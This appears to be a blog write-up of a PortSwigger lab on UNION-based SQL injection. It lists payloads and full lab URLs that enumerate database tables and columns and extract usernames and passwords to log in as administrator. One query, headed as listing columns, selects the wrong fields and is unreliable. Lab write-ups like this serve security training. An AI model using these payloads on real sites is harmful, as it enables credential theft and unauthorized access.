> For the complete documentation index, see [llms.txt](https://0xkourama.gitbook.io/blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xkourama.gitbook.io/blog/port-swigger-labs/sql-injection/lab-sql-injection-attack-listing-the-database-contents-on-non-oracle-databases.md).

# Lab: SQL injection attack, listing the database contents on non-Oracle databases

## [SQL injection attack, listing the database contents on non-Oracle databases](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle)

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Determine the [number of columns that are being returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the `category` parameter: `'+UNION+SELECT+'abc','def'--`.
3. Use the following payload to retrieve the list of tables in the database: `'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--`
4. Find the name of the table containing user credentials.
5. Use the following payload (replacing the table name) to retrieve the details of the columns in the table: `'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--`
6. Find the names of the columns containing usernames and passwords.
7. Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users: `'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--`
8. Find the password for the `administrator` user, and use it to log in.

## GET the NO of columns and Data types

```sql
'+UNION+SELECT+'abc','def'--.
```

## Get All Tables

```sql
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
```

## Get All Columns from the users\_uenqft table

```sql

https://acbf1f521ead714ac01047a1006000c1.web-security-academy.net/filter?category=Pets'+UNION+SELECT+username_audqir,+password_qddmam
+FROM+information_schema.columns+WHERE+table_name=%27users_uenqft%27--
```

## Get username\_audqir and password\_qddmam from users\_uenqft table

```sql

https://acbf1f521ead714ac01047a1006000c1.web-security-academy.net/filter?category=Pets'+UNION+SELECT+username_audqir,+password_qddmam+FROM+users_uenqft--
```